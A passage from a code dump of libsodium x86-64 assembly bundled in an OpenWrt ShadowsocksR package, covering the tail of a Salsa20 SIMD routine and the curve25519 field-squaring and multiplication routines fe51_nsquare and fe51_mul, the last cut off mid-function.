%xmm2,272(%rsp) movdqa %xmm0,288(%rsp) movdqa 96(%rsp),%xmm0 pshufd $0x00,%xmm0,%xmm1 pshufd $0xaa,%xmm0,%xmm2 pshufd $0xff,%xmm0,%xmm0 movdqa %xmm1,304(%rsp) movdqa %xmm2,320(%rsp) movdqa %xmm0,336(%rsp) ._bytesatleast256: movq 472(%rsp),%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,352(%rsp) movl %ecx,368(%rsp) add $1,%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,4+352(%rsp) movl %ecx,4+368(%rsp) add $1,%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,8+352(%rsp) movl %ecx,8+368(%rsp) add $1,%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,12+352(%rsp) movl %ecx,12+368(%rsp) add $1,%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,80(%rsp) movl %ecx,4+96(%rsp) movq %rdx,472(%rsp) movq %r9,480(%rsp) mov $20,%rdx movdqa 128(%rsp),%xmm0 movdqa 144(%rsp),%xmm1 movdqa 160(%rsp),%xmm2 movdqa 320(%rsp),%xmm3 movdqa 336(%rsp),%xmm4 movdqa 192(%rsp),%xmm5 movdqa 208(%rsp),%xmm6 movdqa 240(%rsp),%xmm7 movdqa 256(%rsp),%xmm8 movdqa 272(%rsp),%xmm9 movdqa 288(%rsp),%xmm10 movdqa 368(%rsp),%xmm11 movdqa 176(%rsp),%xmm12 movdqa 224(%rsp),%xmm13 movdqa 304(%rsp),%xmm14 movdqa 352(%rsp),%xmm15 ._mainloop1: movdqa %xmm1,384(%rsp) movdqa %xmm2,400(%rsp) movdqa %xmm13,%xmm1 paddd %xmm12,%xmm1 movdqa %xmm1,%xmm2 pslld $7,%xmm1 pxor %xmm1,%xmm14 psrld $25,%xmm2 pxor %xmm2,%xmm14 movdqa %xmm7,%xmm1 paddd %xmm0,%xmm1 movdqa %xmm1,%xmm2 pslld $7,%xmm1 pxor %xmm1,%xmm11 psrld $25,%xmm2 pxor %xmm2,%xmm11 movdqa %xmm12,%xmm1 paddd %xmm14,%xmm1 movdqa %xmm1,%xmm2 pslld $9,%xmm1 pxor %xmm1,%xmm15 psrld $23,%xmm2 pxor %xmm2,%xmm15 movdqa %xmm0,%xmm1 paddd %xmm11,%xmm1 movdqa %xmm1,%xmm2 pslld $9,%xmm1 pxor %xmm1,%xmm9 psrld $23,%xmm2 pxor %xmm2,%xmm9 movdqa %xmm14,%xmm1 paddd %xmm15,%xmm1 movdqa %xmm1,%xmm2 pslld $13,%xmm1 pxor %xmm1,%xmm13 psrld $19,%xmm2 pxor %xmm2,%xmm13 movdqa %xmm11,%xmm1 paddd %xmm9,%xmm1 movdqa %xmm1,%xmm2 pslld $13,%xmm1 pxor %xmm1,%xmm7 psrld $19,%xmm2 pxor %xmm2,%xmm7 movdqa %xmm15,%xmm1 paddd %xmm13,%xmm1 movdqa %xmm1,%xmm2 pslld $18,%xmm1 pxor %xmm1,%xmm12 psrld $14,%xmm2 pxor %xmm2,%xmm12 movdqa 384(%rsp),%xmm1 movdqa %xmm12,384(%rsp) movdqa %xmm9,%xmm2 paddd %xmm7,%xmm2 movdqa %xmm2,%xmm12 pslld $18,%xmm2 pxor %xmm2,%xmm0 psrld $14,%xmm12 pxor %xmm12,%xmm0 movdqa %xmm5,%xmm2 paddd %xmm1,%xmm2 movdqa %xmm2,%xmm12 pslld $7,%xmm2 pxor %xmm2,%xmm3 psrld $25,%xmm12 pxor %xmm12,%xmm3 movdqa 400(%rsp),%xmm2 movdqa %xmm0,400(%rsp) movdqa %xmm6,%xmm0 paddd %xmm2,%xmm0 movdqa %xmm0,%xmm12 pslld $7,%xmm0 pxor %xmm0,%xmm4 psrld $25,%xmm12 pxor %xmm12,%xmm4 movdqa %xmm1,%xmm0 paddd %xmm3,%xmm0 movdqa %xmm0,%xmm12 pslld $9,%xmm0 pxor %xmm0,%xmm10 psrld $23,%xmm12 pxor %xmm12,%xmm10 movdqa %xmm2,%xmm0 paddd %xmm4,%xmm0 movdqa %xmm0,%xmm12 pslld $9,%xmm0 pxor %xmm0,%xmm8 psrld $23,%xmm12 pxor %xmm12,%xmm8 movdqa %xmm3,%xmm0 paddd %xmm10,%xmm0 movdqa %xmm0,%xmm12 pslld $13,%xmm0 pxor %xmm0,%xmm5 psrld $19,%xmm12 pxor %xmm12,%xmm5 movdqa %xmm4,%xmm0 paddd %xmm8,%xmm0 movdqa %xmm0,%xmm12 pslld $13,%xmm0 pxor %xmm0,%xmm6 psrld $19,%xmm12 pxor %xmm12,%xmm6 movdqa %xmm10,%xmm0 paddd %xmm5,%xmm0 movdqa %xmm0,%xmm12 pslld $18,%xmm0 pxor %xmm0,%xmm1 psrld $14,%xmm12 pxor %xmm12,%xmm1 movdqa 384(%rsp),%xmm0 movdqa %xmm1,384(%rsp) movdqa %xmm4,%xmm1 paddd %xmm0,%xmm1 movdqa %xmm1,%xmm12 pslld $7,%xmm1 pxor %xmm1,%xmm7 psrld $25,%xmm12 pxor %xmm12,%xmm7 movdqa %xmm8,%xmm1 paddd %xmm6,%xmm1 movdqa %xmm1,%xmm12 pslld $18,%xmm1 pxor %xmm1,%xmm2 psrld $14,%xmm12 pxor %xmm12,%xmm2 movdqa 400(%rsp),%xmm12 movdqa %xmm2,400(%rsp) movdqa %xmm14,%xmm1 paddd %xmm12,%xmm1 movdqa %xmm1,%xmm2 pslld $7,%xmm1 pxor %xmm1,%xmm5 psrld $25,%xmm2 pxor %xmm2,%xmm5 movdqa %xmm0,%xmm1 paddd %xmm7,%xmm1 movdqa %xmm1,%xmm2 pslld $9,%xmm1 pxor %xmm1,%xmm10 psrld $23,%xmm2 pxor %xmm2,%xmm10 movdqa %xmm12,%xmm1 paddd %xmm5,%xmm1 movdqa %xmm1,%xmm2 pslld $9,%xmm1 pxor %xmm1,%xmm8 psrld $23,%xmm2 pxor %xmm2,%xmm8 movdqa %xmm7,%xmm1 paddd %xmm10,%xmm1 movdqa %xmm1,%xmm2 pslld $13,%xmm1 pxor %xmm1,%xmm4 psrld $19,%xmm2 pxor %xmm2,%xmm4 movdqa %xmm5,%xmm1 paddd %xmm8,%xmm1 movdqa %xmm1,%xmm2 pslld $13,%xmm1 pxor %xmm1,%xmm14 psrld $19,%xmm2 pxor %xmm2,%xmm14 movdqa %xmm10,%xmm1 paddd %xmm4,%xmm1 movdqa %xmm1,%xmm2 pslld $18,%xmm1 pxor %xmm1,%xmm0 psrld $14,%xmm2 pxor %xmm2,%xmm0 movdqa 384(%rsp),%xmm1 movdqa %xmm0,384(%rsp) movdqa %xmm8,%xmm0 paddd %xmm14,%xmm0 movdqa %xmm0,%xmm2 pslld $18,%xmm0 pxor %xmm0,%xmm12 psrld $14,%xmm2 pxor %xmm2,%xmm12 movdqa %xmm11,%xmm0 paddd %xmm1,%xmm0 movdqa %xmm0,%xmm2 pslld $7,%xmm0 pxor %xmm0,%xmm6 psrld $25,%xmm2 pxor %xmm2,%xmm6 movdqa 400(%rsp),%xmm2 movdqa %xmm12,400(%rsp) movdqa %xmm3,%xmm0 paddd %xmm2,%xmm0 movdqa %xmm0,%xmm12 pslld $7,%xmm0 pxor %xmm0,%xmm13 psrld $25,%xmm12 pxor %xmm12,%xmm13 movdqa %xmm1,%xmm0 paddd %xmm6,%xmm0 movdqa %xmm0,%xmm12 pslld $9,%xmm0 pxor %xmm0,%xmm15 psrld $23,%xmm12 pxor %xmm12,%xmm15 movdqa %xmm2,%xmm0 paddd %xmm13,%xmm0 movdqa %xmm0,%xmm12 pslld $9,%xmm0 pxor %xmm0,%xmm9 psrld $23,%xmm12 pxor %xmm12,%xmm9 movdqa %xmm6,%xmm0 paddd %xmm15,%xmm0 movdqa %xmm0,%xmm12 pslld $13,%xmm0 pxor %xmm0,%xmm11 psrld $19,%xmm12 pxor %xmm12,%xmm11 movdqa %xmm13,%xmm0 paddd %xmm9,%xmm0 movdqa %xmm0,%xmm12 pslld $13,%xmm0 pxor %xmm0,%xmm3 psrld $19,%xmm12 pxor %xmm12,%xmm3 movdqa %xmm15,%xmm0 paddd %xmm11,%xmm0 movdqa %xmm0,%xmm12 pslld $18,%xmm0 pxor %xmm0,%xmm1 psrld $14,%xmm12 pxor %xmm12,%xmm1 movdqa %xmm9,%xmm0 paddd %xmm3,%xmm0 movdqa %xmm0,%xmm12 pslld $18,%xmm0 pxor %xmm0,%xmm2 psrld $14,%xmm12 pxor %xmm12,%xmm2 movdqa 384(%rsp),%xmm12 movdqa 400(%rsp),%xmm0 sub $2,%rdx ja ._mainloop1 paddd 176(%rsp),%xmm12 paddd 240(%rsp),%xmm7 paddd 288(%rsp),%xmm10 paddd 336(%rsp),%xmm4 movd %xmm12,%rdx movd %xmm7,%rcx movd %xmm10,%r8 movd %xmm4,%r9 pshufd $0x39,%xmm12,%xmm12 pshufd $0x39,%xmm7,%xmm7 pshufd $0x39,%xmm10,%xmm10 pshufd $0x39,%xmm4,%xmm4 xorl 0(%rsi),%edx xorl 4(%rsi),%ecx xorl 8(%rsi),%r8d xorl 12(%rsi),%r9d movl %edx,0(%rdi) movl %ecx,4(%rdi) movl %r8d,8(%rdi) movl %r9d,12(%rdi) movd %xmm12,%rdx movd %xmm7,%rcx movd %xmm10,%r8 movd %xmm4,%r9 pshufd $0x39,%xmm12,%xmm12 pshufd $0x39,%xmm7,%xmm7 pshufd $0x39,%xmm10,%xmm10 pshufd $0x39,%xmm4,%xmm4 xorl 64(%rsi),%edx xorl 68(%rsi),%ecx xorl 72(%rsi),%r8d xorl 76(%rsi),%r9d movl %edx,64(%rdi) movl %ecx,68(%rdi) movl %r8d,72(%rdi) movl %r9d,76(%rdi) movd %xmm12,%rdx movd %xmm7,%rcx movd %xmm10,%r8 movd %xmm4,%r9 pshufd $0x39,%xmm12,%xmm12 pshufd $0x39,%xmm7,%xmm7 pshufd $0x39,%xmm10,%xmm10 pshufd $0x39,%xmm4,%xmm4 xorl 128(%rsi),%edx xorl 132(%rsi),%ecx xorl 136(%rsi),%r8d xorl 140(%rsi),%r9d movl %edx,128(%rdi) movl %ecx,132(%rdi) movl %r8d,136(%rdi) movl %r9d,140(%rdi) movd %xmm12,%rdx movd %xmm7,%rcx movd %xmm10,%r8 movd %xmm4,%r9 xorl 192(%rsi),%edx xorl 196(%rsi),%ecx xorl 200(%rsi),%r8d xorl 204(%rsi),%r9d movl %edx,192(%rdi) movl %ecx,196(%rdi) movl %r8d,200(%rdi) movl %r9d,204(%rdi) paddd 304(%rsp),%xmm14 paddd 128(%rsp),%xmm0 paddd 192(%rsp),%xmm5 paddd 256(%rsp),%xmm8 movd %xmm14,%rdx movd %xmm0,%rcx movd %xmm5,%r8 movd %xmm8,%r9 pshufd $0x39,%xmm14,%xmm14 pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm5,%xmm5 pshufd $0x39,%xmm8,%xmm8 xorl 16(%rsi),%edx xorl 20(%rsi),%ecx xorl 24(%rsi),%r8d xorl 28(%rsi),%r9d movl %edx,16(%rdi) movl %ecx,20(%rdi) movl %r8d,24(%rdi) movl %r9d,28(%rdi) movd %xmm14,%rdx movd %xmm0,%rcx movd %xmm5,%r8 movd %xmm8,%r9 pshufd $0x39,%xmm14,%xmm14 pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm5,%xmm5 pshufd $0x39,%xmm8,%xmm8 xorl 80(%rsi),%edx xorl 84(%rsi),%ecx xorl 88(%rsi),%r8d xorl 92(%rsi),%r9d movl %edx,80(%rdi) movl %ecx,84(%rdi) movl %r8d,88(%rdi) movl %r9d,92(%rdi) movd %xmm14,%rdx movd %xmm0,%rcx movd %xmm5,%r8 movd %xmm8,%r9 pshufd $0x39,%xmm14,%xmm14 pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm5,%xmm5 pshufd $0x39,%xmm8,%xmm8 xorl 144(%rsi),%edx xorl 148(%rsi),%ecx xorl 152(%rsi),%r8d xorl 156(%rsi),%r9d movl %edx,144(%rdi) movl %ecx,148(%rdi) movl %r8d,152(%rdi) movl %r9d,156(%rdi) movd %xmm14,%rdx movd %xmm0,%rcx movd %xmm5,%r8 movd %xmm8,%r9 xorl 208(%rsi),%edx xorl 212(%rsi),%ecx xorl 216(%rsi),%r8d xorl 220(%rsi),%r9d movl %edx,208(%rdi) movl %ecx,212(%rdi) movl %r8d,216(%rdi) movl %r9d,220(%rdi) paddd 352(%rsp),%xmm15 paddd 368(%rsp),%xmm11 paddd 144(%rsp),%xmm1 paddd 208(%rsp),%xmm6 movd %xmm15,%rdx movd %xmm11,%rcx movd %xmm1,%r8 movd %xmm6,%r9 pshufd $0x39,%xmm15,%xmm15 pshufd $0x39,%xmm11,%xmm11 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm6,%xmm6 xorl 32(%rsi),%edx xorl 36(%rsi),%ecx xorl 40(%rsi),%r8d xorl 44(%rsi),%r9d movl %edx,32(%rdi) movl %ecx,36(%rdi) movl %r8d,40(%rdi) movl %r9d,44(%rdi) movd %xmm15,%rdx movd %xmm11,%rcx movd %xmm1,%r8 movd %xmm6,%r9 pshufd $0x39,%xmm15,%xmm15 pshufd $0x39,%xmm11,%xmm11 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm6,%xmm6 xorl 96(%rsi),%edx xorl 100(%rsi),%ecx xorl 104(%rsi),%r8d xorl 108(%rsi),%r9d movl %edx,96(%rdi) movl %ecx,100(%rdi) movl %r8d,104(%rdi) movl %r9d,108(%rdi) movd %xmm15,%rdx movd %xmm11,%rcx movd %xmm1,%r8 movd %xmm6,%r9 pshufd $0x39,%xmm15,%xmm15 pshufd $0x39,%xmm11,%xmm11 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm6,%xmm6 xorl 160(%rsi),%edx xorl 164(%rsi),%ecx xorl 168(%rsi),%r8d xorl 172(%rsi),%r9d movl %edx,160(%rdi) movl %ecx,164(%rdi) movl %r8d,168(%rdi) movl %r9d,172(%rdi) movd %xmm15,%rdx movd %xmm11,%rcx movd %xmm1,%r8 movd %xmm6,%r9 xorl 224(%rsi),%edx xorl 228(%rsi),%ecx xorl 232(%rsi),%r8d xorl 236(%rsi),%r9d movl %edx,224(%rdi) movl %ecx,228(%rdi) movl %r8d,232(%rdi) movl %r9d,236(%rdi) paddd 224(%rsp),%xmm13 paddd 272(%rsp),%xmm9 paddd 320(%rsp),%xmm3 paddd 160(%rsp),%xmm2 movd %xmm13,%rdx movd %xmm9,%rcx movd %xmm3,%r8 movd %xmm2,%r9 pshufd $0x39,%xmm13,%xmm13 pshufd $0x39,%xmm9,%xmm9 pshufd $0x39,%xmm3,%xmm3 pshufd $0x39,%xmm2,%xmm2 xorl 48(%rsi),%edx xorl 52(%rsi),%ecx xorl 56(%rsi),%r8d xorl 60(%rsi),%r9d movl %edx,48(%rdi) movl %ecx,52(%rdi) movl %r8d,56(%rdi) movl %r9d,60(%rdi) movd %xmm13,%rdx movd %xmm9,%rcx movd %xmm3,%r8 movd %xmm2,%r9 pshufd $0x39,%xmm13,%xmm13 pshufd $0x39,%xmm9,%xmm9 pshufd $0x39,%xmm3,%xmm3 pshufd $0x39,%xmm2,%xmm2 xorl 112(%rsi),%edx xorl 116(%rsi),%ecx xorl 120(%rsi),%r8d xorl 124(%rsi),%r9d movl %edx,112(%rdi) movl %ecx,116(%rdi) movl %r8d,120(%rdi) movl %r9d,124(%rdi) movd %xmm13,%rdx movd %xmm9,%rcx movd %xmm3,%r8 movd %xmm2,%r9 pshufd $0x39,%xmm13,%xmm13 pshufd $0x39,%xmm9,%xmm9 pshufd $0x39,%xmm3,%xmm3 pshufd $0x39,%xmm2,%xmm2 xorl 176(%rsi),%edx xorl 180(%rsi),%ecx xorl 184(%rsi),%r8d xorl 188(%rsi),%r9d movl %edx,176(%rdi) movl %ecx,180(%rdi) movl %r8d,184(%rdi) movl %r9d,188(%rdi) movd %xmm13,%rdx movd %xmm9,%rcx movd %xmm3,%r8 movd %xmm2,%r9 xorl 240(%rsi),%edx xorl 244(%rsi),%ecx xorl 248(%rsi),%r8d xorl 252(%rsi),%r9d movl %edx,240(%rdi) movl %ecx,244(%rdi) movl %r8d,248(%rdi) movl %r9d,252(%rdi) movq 480(%rsp),%r9 sub $256,%r9 add $256,%rsi add $256,%rdi cmp $256,%r9 jae ._bytesatleast256 cmp $0,%r9 jbe ._done ._bytesbetween1and255: cmp $64,%r9 jae ._nocopy mov %rdi,%rdx leaq 0(%rsp),%rdi mov %r9,%rcx rep movsb leaq 0(%rsp),%rdi leaq 0(%rsp),%rsi ._nocopy: movq %r9,480(%rsp) movdqa 112(%rsp),%xmm0 movdqa 64(%rsp),%xmm1 movdqa 80(%rsp),%xmm2 movdqa 96(%rsp),%xmm3 movdqa %xmm1,%xmm4 mov $20,%rcx ._mainloop2: paddd %xmm0,%xmm4 movdqa %xmm0,%xmm5 movdqa %xmm4,%xmm6 pslld $7,%xmm4 psrld $25,%xmm6 pxor %xmm4,%xmm3 pxor %xmm6,%xmm3 paddd %xmm3,%xmm5 movdqa %xmm3,%xmm4 movdqa %xmm5,%xmm6 pslld $9,%xmm5 psrld $23,%xmm6 pxor %xmm5,%xmm2 pshufd $0x93,%xmm3,%xmm3 pxor %xmm6,%xmm2 paddd %xmm2,%xmm4 movdqa %xmm2,%xmm5 movdqa %xmm4,%xmm6 pslld $13,%xmm4 psrld $19,%xmm6 pxor %xmm4,%xmm1 pshufd $0x4e,%xmm2,%xmm2 pxor %xmm6,%xmm1 paddd %xmm1,%xmm5 movdqa %xmm3,%xmm4 movdqa %xmm5,%xmm6 pslld $18,%xmm5 psrld $14,%xmm6 pxor %xmm5,%xmm0 pshufd $0x39,%xmm1,%xmm1 pxor %xmm6,%xmm0 paddd %xmm0,%xmm4 movdqa %xmm0,%xmm5 movdqa %xmm4,%xmm6 pslld $7,%xmm4 psrld $25,%xmm6 pxor %xmm4,%xmm1 pxor %xmm6,%xmm1 paddd %xmm1,%xmm5 movdqa %xmm1,%xmm4 movdqa %xmm5,%xmm6 pslld $9,%xmm5 psrld $23,%xmm6 pxor %xmm5,%xmm2 pshufd $0x93,%xmm1,%xmm1 pxor %xmm6,%xmm2 paddd %xmm2,%xmm4 movdqa %xmm2,%xmm5 movdqa %xmm4,%xmm6 pslld $13,%xmm4 psrld $19,%xmm6 pxor %xmm4,%xmm3 pshufd $0x4e,%xmm2,%xmm2 pxor %xmm6,%xmm3 paddd %xmm3,%xmm5 movdqa %xmm1,%xmm4 movdqa %xmm5,%xmm6 pslld $18,%xmm5 psrld $14,%xmm6 pxor %xmm5,%xmm0 pshufd $0x39,%xmm3,%xmm3 pxor %xmm6,%xmm0 paddd %xmm0,%xmm4 movdqa %xmm0,%xmm5 movdqa %xmm4,%xmm6 pslld $7,%xmm4 psrld $25,%xmm6 pxor %xmm4,%xmm3 pxor %xmm6,%xmm3 paddd %xmm3,%xmm5 movdqa %xmm3,%xmm4 movdqa %xmm5,%xmm6 pslld $9,%xmm5 psrld $23,%xmm6 pxor %xmm5,%xmm2 pshufd $0x93,%xmm3,%xmm3 pxor %xmm6,%xmm2 paddd %xmm2,%xmm4 movdqa %xmm2,%xmm5 movdqa %xmm4,%xmm6 pslld $13,%xmm4 psrld $19,%xmm6 pxor %xmm4,%xmm1 pshufd $0x4e,%xmm2,%xmm2 pxor %xmm6,%xmm1 paddd %xmm1,%xmm5 movdqa %xmm3,%xmm4 movdqa %xmm5,%xmm6 pslld $18,%xmm5 psrld $14,%xmm6 pxor %xmm5,%xmm0 pshufd $0x39,%xmm1,%xmm1 pxor %xmm6,%xmm0 paddd %xmm0,%xmm4 movdqa %xmm0,%xmm5 movdqa %xmm4,%xmm6 pslld $7,%xmm4 psrld $25,%xmm6 pxor %xmm4,%xmm1 pxor %xmm6,%xmm1 paddd %xmm1,%xmm5 movdqa %xmm1,%xmm4 movdqa %xmm5,%xmm6 pslld $9,%xmm5 psrld $23,%xmm6 pxor %xmm5,%xmm2 pshufd $0x93,%xmm1,%xmm1 pxor %xmm6,%xmm2 paddd %xmm2,%xmm4 movdqa %xmm2,%xmm5 movdqa %xmm4,%xmm6 pslld $13,%xmm4 psrld $19,%xmm6 pxor %xmm4,%xmm3 pshufd $0x4e,%xmm2,%xmm2 pxor %xmm6,%xmm3 sub $4,%rcx paddd %xmm3,%xmm5 movdqa %xmm1,%xmm4 movdqa %xmm5,%xmm6 pslld $18,%xmm5 pxor %xmm7,%xmm7 psrld $14,%xmm6 pxor %xmm5,%xmm0 pshufd $0x39,%xmm3,%xmm3 pxor %xmm6,%xmm0 ja ._mainloop2 paddd 112(%rsp),%xmm0 paddd 64(%rsp),%xmm1 paddd 80(%rsp),%xmm2 paddd 96(%rsp),%xmm3 movd %xmm0,%rcx movd %xmm1,%r8 movd %xmm2,%r9 movd %xmm3,%rax pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm2,%xmm2 pshufd $0x39,%xmm3,%xmm3 xorl 0(%rsi),%ecx xorl 48(%rsi),%r8d xorl 32(%rsi),%r9d xorl 16(%rsi),%eax movl %ecx,0(%rdi) movl %r8d,48(%rdi) movl %r9d,32(%rdi) movl %eax,16(%rdi) movd %xmm0,%rcx movd %xmm1,%r8 movd %xmm2,%r9 movd %xmm3,%rax pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm2,%xmm2 pshufd $0x39,%xmm3,%xmm3 xorl 20(%rsi),%ecx xorl 4(%rsi),%r8d xorl 52(%rsi),%r9d xorl 36(%rsi),%eax movl %ecx,20(%rdi) movl %r8d,4(%rdi) movl %r9d,52(%rdi) movl %eax,36(%rdi) movd %xmm0,%rcx movd %xmm1,%r8 movd %xmm2,%r9 movd %xmm3,%rax pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm2,%xmm2 pshufd $0x39,%xmm3,%xmm3 xorl 40(%rsi),%ecx xorl 24(%rsi),%r8d xorl 8(%rsi),%r9d xorl 56(%rsi),%eax movl %ecx,40(%rdi) movl %r8d,24(%rdi) movl %r9d,8(%rdi) movl %eax,56(%rdi) movd %xmm0,%rcx movd %xmm1,%r8 movd %xmm2,%r9 movd %xmm3,%rax xorl 60(%rsi),%ecx xorl 44(%rsi),%r8d xorl 28(%rsi),%r9d xorl 12(%rsi),%eax movl %ecx,60(%rdi) movl %r8d,44(%rdi) movl %r9d,28(%rdi) movl %eax,12(%rdi) movq 480(%rsp),%r9 movq 472(%rsp),%rcx add $1,%rcx mov %rcx,%r8 shr $32,%r8 movl %ecx,80(%rsp) movl %r8d,4+96(%rsp) movq %rcx,472(%rsp) cmp $64,%r9 ja ._bytesatleast65 jae ._bytesatleast64 mov %rdi,%rsi mov %rdx,%rdi mov %r9,%rcx rep movsb ._bytesatleast64: ._done: movq 416(%rsp),%r11 movq 424(%rsp),%r12 movq 432(%rsp),%r13 movq 440(%rsp),%r14 movq 448(%rsp),%r15 movq 456(%rsp),%rbx movq 464(%rsp),%rbp add %r11,%rsp xor %rax,%rax mov %rsi,%rdx ret ._bytesatleast65: sub $64,%r9 add $64,%rdi add $64,%rsi jmp ._bytesbetween1and255 #endif #if defined(__linux__) && defined(__ELF__) .section .note.GNU-stack,"",%progbits #endif
281677160/openwrt-package	2,671	luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/fe51_nsquare.S	#ifdef IN_SANDY2X /* This file is adapted from amd64-51/fe25519_square.s: Adding loop to perform n squares. */ #include "fe51_namespace.h" #include "consts_namespace.h" .p2align 5 .globl fe51_nsquare .globl _fe51_nsquare #ifdef __ELF__ .type fe51_nsquare, @function .type _fe51_nsquare, @function #endif fe51_nsquare: _fe51_nsquare: mov %rsp,%r11 and $31,%r11 add $64,%r11 sub %r11,%rsp movq %r11,0(%rsp) movq %r12,8(%rsp) movq %r13,16(%rsp) movq %r14,24(%rsp) movq %r15,32(%rsp) movq %rbx,40(%rsp) movq %rbp,48(%rsp) movq 0(%rsi),%rcx movq 8(%rsi),%r8 movq 16(%rsi),%r9 movq 24(%rsi),%rax movq 32(%rsi),%rsi movq %r9,16(%rdi) movq %rax,24(%rdi) movq %rsi,32(%rdi) mov %rdx,%rsi ._loop: sub $1,%rsi mov %rcx,%rax mul %rcx add %rcx,%rcx mov %rax,%r9 mov %rdx,%r10 mov %rcx,%rax mul %r8 mov %rax,%r11 mov %rdx,%r12 mov %rcx,%rax mulq 16(%rdi) mov %rax,%r13 mov %rdx,%r14 mov %rcx,%rax mulq 24(%rdi) mov %rax,%r15 mov %rdx,%rbx mov %rcx,%rax mulq 32(%rdi) mov %rax,%rcx mov %rdx,%rbp mov %r8,%rax mul %r8 add %r8,%r8 add %rax,%r13 adc %rdx,%r14 mov %r8,%rax mulq 16(%rdi) add %rax,%r15 adc %rdx,%rbx mov %r8,%rax imulq $19, %r8,%r8 mulq 24(%rdi) add %rax,%rcx adc %rdx,%rbp mov %r8,%rax mulq 32(%rdi) add %rax,%r9 adc %rdx,%r10 movq 16(%rdi),%rax mulq 16(%rdi) add %rax,%rcx adc %rdx,%rbp shld $13,%rcx,%rbp movq 16(%rdi),%rax imulq $38, %rax,%rax mulq 24(%rdi) add %rax,%r9 adc %rdx,%r10 shld $13,%r9,%r10 movq 16(%rdi),%rax imulq $38, %rax,%rax mulq 32(%rdi) add %rax,%r11 adc %rdx,%r12 movq 24(%rdi),%rax imulq $19, %rax,%rax mulq 24(%rdi) add %rax,%r11 adc %rdx,%r12 shld $13,%r11,%r12 movq 24(%rdi),%rax imulq $38, %rax,%rax mulq 32(%rdi) add %rax,%r13 adc %rdx,%r14 shld $13,%r13,%r14 movq 32(%rdi),%rax imulq $19, %rax,%rax mulq 32(%rdi) add %rax,%r15 adc %rdx,%rbx shld $13,%r15,%rbx movq REDMASK51(%rip),%rdx and %rdx,%rcx add %rbx,%rcx and %rdx,%r9 and %rdx,%r11 add %r10,%r11 and %rdx,%r13 add %r12,%r13 and %rdx,%r15 add %r14,%r15 imulq $19, %rbp,%rbp lea (%r9,%rbp),%r9 mov %r9,%rax shr $51,%r9 add %r11,%r9 and %rdx,%rax mov %r9,%r8 shr $51,%r9 add %r13,%r9 and %rdx,%r8 mov %r9,%r10 shr $51,%r9 add %r15,%r9 and %rdx,%r10 movq %r10,16(%rdi) mov %r9,%r10 shr $51,%r9 add %rcx,%r9 and %rdx,%r10 movq %r10,24(%rdi) mov %r9,%r10 shr $51,%r9 imulq $19, %r9,%r9 lea (%rax,%r9),%rcx and %rdx,%r10 movq %r10,32(%rdi) cmp $0,%rsi jne ._loop movq %rcx,0(%rdi) movq %r8,8(%rdi) movq 0(%rsp),%r11 movq 8(%rsp),%r12 movq 16(%rsp),%r13 movq 24(%rsp),%r14 movq 32(%rsp),%r15 movq 40(%rsp),%rbx movq 48(%rsp),%rbp add %r11,%rsp ret #endif
281677160/openwrt-package	3,040	luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_scalarmult/curve25519/sandy2x/fe51_mul.S	#ifdef IN_SANDY2X /* This file is basically amd64-51/fe25519_mul.s. */ #include "fe51_namespace.h" #include "consts_namespace.h" .text .p2align 5 .globl _fe51_mul .globl fe51_mul _fe51_mul: fe51_mul: mov %rsp,%r11 and $31,%r11 add $96,%r11 sub %r11,%rsp movq %r11,0(%rsp) movq %r12,8(%rsp) movq %r13,16(%rsp) movq %r14,24(%rsp) movq %r15,32(%rsp) movq %rbx,40(%rsp) movq %rbp,48(%rsp) movq %rdi,56(%rsp) mov %rdx,%rcx movq 24(%rsi),%rdx imulq $19,%rdx,%rax movq %rax,64(%rsp) mulq 16(%rcx) mov %rax,%r8 mov %rdx,%r9 movq 32(%rsi),%rdx imulq $19,%rdx,%rax movq %rax,72(%rsp) mulq 8(%rcx) add %rax,%r8 adc %rdx,%r9 movq 0(%rsi),%rax mulq 0(%rcx) add %rax,%r8 adc %rdx,%r9 movq 0(%rsi),%rax mulq 8(%rcx) mov %rax,%r10 mov %rdx,%r11 movq 0(%rsi),%rax mulq 16(%rcx) mov %rax,%r12 mov %rdx,%r13 movq 0(%rsi),%rax mulq 24(%rcx) mov %rax,%r14 mov %rdx,%r15 movq 0(%rsi),%rax mulq 32(%rcx) mov %rax,%rbx mov %rdx,%rbp movq 8(%rsi),%rax mulq 0(%rcx) add %rax,%r10 adc %rdx,%r11 movq 8(%rsi),%rax mulq 8(%rcx) add %rax,%r12 adc %rdx,%r13 movq 8(%rsi),%rax mulq 16(%rcx) add %rax,%r14 adc %rdx,%r15 movq 8(%rsi),%rax mulq 24(%rcx) add %rax,%rbx adc %rdx,%rbp movq 8(%rsi),%rdx imulq $19,%rdx,%rax mulq 32(%rcx) add %rax,%r8 adc %rdx,%r9 movq 16(%rsi),%rax mulq 0(%rcx) add %rax,%r12 adc %rdx,%r13 movq 16(%rsi),%rax mulq 8(%rcx) add %rax,%r14 adc %rdx,%r15 movq 16(%rsi),%rax mulq 16(%rcx) add %rax,%rbx adc %rdx,%rbp movq 16(%rsi),%rdx imulq $19,%rdx,%rax mulq 24(%rcx) add %rax,%r8 adc %rdx,%r9 movq 16(%rsi),%rdx imulq $19,%rdx,%rax mulq 32(%rcx) add %rax,%r10 adc %rdx,%r11 movq 24(%rsi),%rax mulq 0(%rcx) add %rax,%r14 adc %rdx,%r15 movq 24(%rsi),%rax mulq 8(%rcx) add %rax,%rbx adc %rdx,%rbp movq 64(%rsp),%rax mulq 24(%rcx) add %rax,%r10 adc %rdx,%r11 movq 64(%rsp),%rax mulq 32(%rcx) add %rax,%r12 adc %rdx,%r13 movq 